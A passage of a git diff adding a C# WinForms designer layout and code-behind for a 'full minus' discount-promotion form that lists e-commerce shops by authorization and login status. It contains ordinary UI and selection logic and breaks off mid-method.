System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.TabIndex = 456; + this.btnGetProduct.Text = "获取商品"; + this.btnGetProduct.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // btnStopGetProduct + // + this.btnStopGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopGetProduct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopGetProduct.Location = new System.Drawing.Point(1110, 51); + this.btnStopGetProduct.Name = "btnStopGetProduct"; + this.btnStopGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnStopGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopGetProduct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopGetProduct.Style.GradientAngle = 90; + this.btnStopGetProduct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopGetProduct.TabIndex = 463; + this.btnStopGetProduct.Text = "停止获取"; + this.btnStopGetProduct.Click += new System.EventHandler(this.btnStopGetProduct_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 160); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1350, 397); + this.splitContainer3.SplitterDistance = 367; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1350, 367); + this.splitContainer2.SplitterDistance = 269; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(265, 367); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(1073, 367); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.ucTabControl1.Controls.Add(this.tabPageCheckResult); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(1071, 365); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPageCheckResult + // + this.tabPageCheckResult.Location = new System.Drawing.Point(2, 26); + this.tabPageCheckResult.Name = "tabPageCheckResult"; + this.tabPageCheckResult.Padding = new System.Windows.Forms.Padding(3); + this.tabPageCheckResult.Size = new System.Drawing.Size(1065, 335); + this.tabPageCheckResult.TabIndex = 0; + this.tabPageCheckResult.Text = "店铺1"; + this.tabPageCheckResult.UseVisualStyleBackColor = true; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1350, 26); + this.splitContainer4.SplitterDistance = 1235; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1235, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // tabPageViolateFileList + // + this.tabPageViolateFileList.Location = new System.Drawing.Point(2, 26); + this.tabPageViolateFileList.Name = "tabPageViolateFileList"; + this.tabPageViolateFileList.Padding = new System.Windows.Forms.Padding(3); + this.tabPageViolateFileList.Size = new System.Drawing.Size(1065, 335); + this.tabPageViolateFileList.TabIndex = 1; + this.tabPageViolateFileList.Text = "店铺2"; + this.tabPageViolateFileList.UseVisualStyleBackColor = true; + // + // FullMinusForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1350, 561); + this.Controls.Add(this.splitContainer1); + this.Name = "FullMinusForm"; + this.Text = "FullMinusForm"; + this.Load += new System.EventHandler(this.FullMinusForm_Load); + this.VisibleChanged += new System.EventHandler(this.FullMinusForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx4.ResumeLayout(false); + this.panel12.ResumeLayout(false); + this.panel15.ResumeLayout(false); + this.panel15.PerformLayout(); + this.panel13.ResumeLayout(false); + this.panel13.PerformLayout(); + this.panel14.ResumeLayout(false); + this.panel14.PerformLayout(); + this.panel16.ResumeLayout(false); + this.panel8.ResumeLayout(false); + this.panel8.PerformLayout(); + this.panel11.ResumeLayout(false); + this.panel11.PerformLayout(); + this.panel10.ResumeLayout(false); + this.panel10.PerformLayout(); + this.panel9.ResumeLayout(false); + this.panel9.PerformLayout(); + this.ucGroupBoxEx3.ResumeLayout(false); + this.panel7.ResumeLayout(false); + this.panel7.PerformLayout(); + this.panel6.ResumeLayout(false); + this.panel6.PerformLayout(); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.pnlDiscount.ResumeLayout(false); + this.pnlDiscount.PerformLayout(); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private DevComponents.DotNetBar.PanelEx btnManagerAct; + private DevComponents.DotNetBar.PanelEx btnSubAct; + private DevComponents.DotNetBar.PanelEx btnGetProduct; + private DevComponents.DotNetBar.PanelEx btnStopGetProduct; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPageCheckResult; + private System.Windows.Forms.TabPage tabPageViolateFileList; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton rdoOverPieces; + private System.Windows.Forms.RadioButton rdoOverYuan; + private System.Windows.Forms.Label lblType; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.TextBox txtActName; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.DateTimePicker dptEndTime; + private System.Windows.Forms.Label lblStartTime; + private System.Windows.Forms.DateTimePicker dptStartTime; + private System.Windows.Forms.Label lblEndTime; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.RadioButton rdoAllow; + private System.Windows.Forms.RadioButton rdoNotAllow; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private UserComponent.UcGroupBoxEx ucGroupBoxEx4; + private System.Windows.Forms.Panel pnlDiscount; + private System.Windows.Forms.TextBox txtP1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox txtP2; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.PanelEx btnRemove1; + private DevComponents.DotNetBar.PanelEx btnAdd1; + private System.Windows.Forms.Panel panel7; + private DevComponents.DotNetBar.PanelEx btnRemove5; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtP10; + private System.Windows.Forms.TextBox txtP9; + private System.Windows.Forms.Label label16; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.Panel panel6; + private DevComponents.DotNetBar.PanelEx btnRemove4; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtP8; + private System.Windows.Forms.TextBox txtP7; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Panel panel4; + private DevComponents.DotNetBar.PanelEx btnRemove3; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox txtP6; + private System.Windows.Forms.TextBox txtP5; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Panel panel3; + private DevComponents.DotNetBar.PanelEx btnRemove2; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtP4; + private System.Windows.Forms.TextBox txtP3; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private DevComponents.DotNetBar.PanelEx btnAdd2; + private System.Windows.Forms.Panel panel8; + private DevComponents.DotNetBar.PanelEx btnRemove6; + private System.Windows.Forms.Label label18; + private System.Windows.Forms.TextBox txtP12; + private System.Windows.Forms.TextBox txtP11; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.Label label20; + private System.Windows.Forms.Panel panel9; + private System.Windows.Forms.RadioButton rdoReduction; + private System.Windows.Forms.RadioButton rdoDiscount; + private System.Windows.Forms.Panel panel11; + private DevComponents.DotNetBar.PanelEx btnRemove8; + private System.Windows.Forms.Label label24; + private System.Windows.Forms.TextBox txtP16; + private System.Windows.Forms.TextBox txtP15; + private System.Windows.Forms.Label label25; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Panel panel10; + private DevComponents.DotNetBar.PanelEx btnRemove7; + private System.Windows.Forms.Label label21; + private System.Windows.Forms.TextBox txtP14; + private System.Windows.Forms.TextBox txtP13; + private System.Windows.Forms.Label label22; + private System.Windows.Forms.Label label23; + private System.Windows.Forms.Panel panel12; + private DevComponents.DotNetBar.PanelEx btnAdd3; + private System.Windows.Forms.Panel panel13; + private DevComponents.DotNetBar.PanelEx btnRemove11; + private System.Windows.Forms.Label label27; + private System.Windows.Forms.TextBox txtP22; + private System.Windows.Forms.TextBox txtP21; + private System.Windows.Forms.Label label28; + private System.Windows.Forms.Label label29; + private System.Windows.Forms.Panel panel14; + private DevComponents.DotNetBar.PanelEx btnRemove10; + private System.Windows.Forms.Label label30; + private System.Windows.Forms.TextBox txtP20; + private System.Windows.Forms.TextBox txtP19; + private System.Windows.Forms.Label label31; + private System.Windows.Forms.Label label32; + private System.Windows.Forms.Panel panel15; + private DevComponents.DotNetBar.PanelEx btnRemove9; + private System.Windows.Forms.Label label33; + private System.Windows.Forms.TextBox txtP18; + private System.Windows.Forms.TextBox txtP17; + private System.Windows.Forms.Label label34; + private System.Windows.Forms.Label label35; + private System.Windows.Forms.Panel panel16; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.cs new file mode 100644 index 0000000..f985df7 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.cs @@ -0,0 +1,1055 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ShopForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class FullMinusForm : Form + { + public FullMinusForm() + { + InitializeComponent(); + } + + private CheckBox chkSelectAll = null; + private List lstShopId = new List(); + public ChromiumWebBrowser webBrowser = null; + public CancellationTokenSource cancellationTokenSource = null; + + private void FullMinusForm_Load(object sender, EventArgs e) + { + this.ucTabControl1.TabPages.Clear(); + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + + dptStartTime.Value = DateTime.Now; + dptEndTime.Value = dptStartTime.Value.AddDays(1).AddSeconds(-1); + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void FullMinusForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + private void BindShop(DouShopLoginInfo shopEntity) + { + if (shopEntity == null) + return; + + bool canUse = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + lstShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId) && canUse; + if (!row.Cells["colSelect"].Value.ParseToBool()) + chkSelectAll.Checked = false; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (lstShopId.Any(p => p == shopId.ToString())) + lstShopId.RemoveAll(p => p == shopId.ToString()); + lstShopId.Add(shopId.ToString()); + } + else + lstShopId.Remove(shopId.ToString()); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void rdoOverYuan_CheckedChanged(object sender, EventArgs e) + { + if (rdoOverPieces.Checked) + { + 